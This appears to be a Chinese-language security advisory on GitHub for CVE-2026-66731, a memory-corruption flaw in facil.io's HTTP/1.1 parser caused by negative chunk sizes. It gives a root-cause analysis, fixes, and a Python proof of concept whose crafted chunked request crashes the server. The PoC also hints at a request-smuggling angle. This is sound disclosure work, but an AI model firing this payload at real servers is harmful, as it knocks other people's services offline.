theopaid/CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash

GitHub: theopaid/CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash

披露 facil.io HTTP/1.1 解析器中因接受负数 chunk size 而导致内存损坏与服务器崩溃的漏洞详情、PoC 及修复方案。

Stars: 0 | Forks: 0

# 安全公告:facil.io 中负数 Chunk-Size 解析导致内存损坏 **分配的 CVE ID**:CVE-2026-66731 **产品:** facil.io **受影响版本:** facil.io >= 0.7.5 (0.7.5, 0.7.6, master);在 0.7.5 版本回移 0.8.x HTTP/1.1 解析器时引入 - 在 0.6.x 或 0.7.0–0.7.3 版本中不存在 **组件:** `lib/facil/http/parsers/http1_parser.h` **CWE:** CWE-20 (不正确的输入验证),CWE-682 (错误的计算),CWE-125 (越界读取) **CVSS v3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) **研究员:** Theodosis Paidakis ## 摘要 分块传输编码(chunked transfer encoding)解析器在 chunk size 值中接受了前导减号。`http1_atol16` 对于 `-FFFFFF` 这样的输入会返回负的 `long long` 值。解析器在 `content_length` 中存储 `0 - chunk_len` 作为“位于 chunk 内部”的哨兵值。当 `chunk_len` 为负数时,该减法运算会产生一个巨大的正数,从而破坏状态机。随后的指针计算会将读取指针向后移动数百万字节,越出输入缓冲区并进入未映射的内存区域,导致进程崩溃。仅凭一个未经身份验证的 POST 请求即可触发。 ## 根本原因 **步骤 1:`http1_atol16` 接受前导减号** **`lib/facil/http/parsers/http1_parser.h`, 第 316-346 行** ``` // lib/facil/http/parsers/http1_parser.h:316-346 static long long http1_atol16(const uint8_t *buf, const uint8_t **end) { register unsigned long long i = 0; uint8_t inv = 0; for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_) inv ^= (*(buf++) == '-'); // line 323: accepts '-', sets inv=1 /* ... parse hex digits into i ... */ if (inv) i = 0ULL - i; // line 341: two's-complement negation return i; // returns negative long long } ``` 输入 `-FFFFFF\r\n` 会产生 `chunk_len = -16777215LL`。RFC 7230 第 4.1 节规定 chunk size 必须是非负的十六进制整数。前导减号是无效的。 **步骤 2:状态机损坏** **`lib/facil/http/parsers/http1_parser.h`, 第 681-690 行** ``` // lib/facil/http/parsers/http1_parser.h:681-690 long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // line 681: = -16777215 // ... parser->state.content_length = 0 - chunk_len; // line 688: = 0 - (-16777215) = +16777215 ``` 解析器使用负的 `content_length` 作为哨兵值,表示“当前正在读取 chunk 主体”。如果 `content_length` 变为了 `+16777215`,状态机会误认为它正在读取一个 16 MB 的普通(非分块)主体。 **步骤 3:指针向后越界进入未映射内存** 在下一次迭代中,解析器会执行以下计算: ``` // lib/facil/http/parsers/http1_parser.h (~line 726) end = *start + (0 - parser->state.content_length); // = *start + (0 - 16777215) // = *start - 16777215 <-- 16 MB before the input buffer ``` 对该地址的读取会导致内存错误。 ## 概念验证 启动服务器,然后运行: ``` # poc_chunked_negative_size.py import socket req = ( b"POST / HTTP/1.1\r\n" b"Host: 127.0.0.1\r\n" b"Transfer-Encoding: chunked\r\n" b"Connection: close\r\n" b"\r\n" b"-FFFFFF\r\n" # negative hex chunk size b"data\r\n" b"0\r\n\r\n" ) s = socket.socket() s.settimeout(3) s.connect(("127.0.0.1", 3000)) s.sendall(req) try: print(s.recv(4096)) print("check server") except: print("check server") ``` ASAN 输出(已确认): ``` AddressSanitizer: BUS at http1_parser.h:674 x[0] = 0xffffffffff000001 // pointer 16 MB before start ``` **根据发送的 chunk size 产生的不同影响:** | Chunk size | 损坏后的 `content_length` | 结果 | |---|---|---| | `-0` | `0` | Body 被静默跳过;服务器存活 | | `-1` | `+1` | 指针指向起始位置前 1 个字节 | | `-FFFFFF` | `+16777215` | 指针指向起始位置前 16 MB;崩溃 | | `-7FFFFFFF` | `+2147483647` | 指针指向起始位置前 2 GB;崩溃 | 注意:`-0` 的情况 (`0 - 0 = 0`) 会进入“分块主体读取完成”的分支并存活下来,但无论后面跟着什么数据,服务器都会将此请求视为具有空主体。在代理部署中,如果前端对分块编码的解析方式不同,这可能会被用作 HTTP 请求走私(request smuggling)的攻击原语。 ## 影响 单个未经身份验证且带有负数 chunk size 的 `Transfer-Encoding: chunked` 请求就足以导致服务器崩溃。任何接受 HTTP/1.1 的应用程序都会受到影响;分块编码是核心协议特性,不需要应用级别的配置。 ## 修复 以下任一方法均可修复此漏洞。推荐使用修复方案 1。 **修复方案 1:在 `http1_atol16` 中拒绝前导减号** **`lib/facil/http/parsers/http1_parser.h`, 第 322 行** ``` // lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing // Remove lines 322-323 entirely, or replace with: if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; } ``` **修复方案 2:在使用前验证 `chunk_len`** **`lib/facil/http/parsers/http1_parser.h`, 第 681 行** ``` // lib/facil/http/parsers/http1_parser.h:681 long long chunk_len = http1_atol16(end, (const uint8_t **)&end); if (chunk_len < 0) return -1; // reject negative chunk sizes parser->state.content_length = 0 - chunk_len; ``` ## 与先前安全修复的关系 提交 `53caca31`(“Fix `atol16` to fix chunked length calculation”,2019 年 12 月)修复了溢出检测循环条件,但保留了符号处理代码。提交 `fe847cdf`(“fix HTTP/1.1 parser against smuggling attack”,2020 年 5 月)解决了 TE/CL 冲突(同时存在 `Transfer-Encoding` 和 `Content-Length` 的情况)。这两个提交均未涵盖负数 chunk size 的情况。
标签:C/C++, HTTP协议解析, Web服务器, 事务性I/O, 漏洞分析, 路径探测, 逆向工具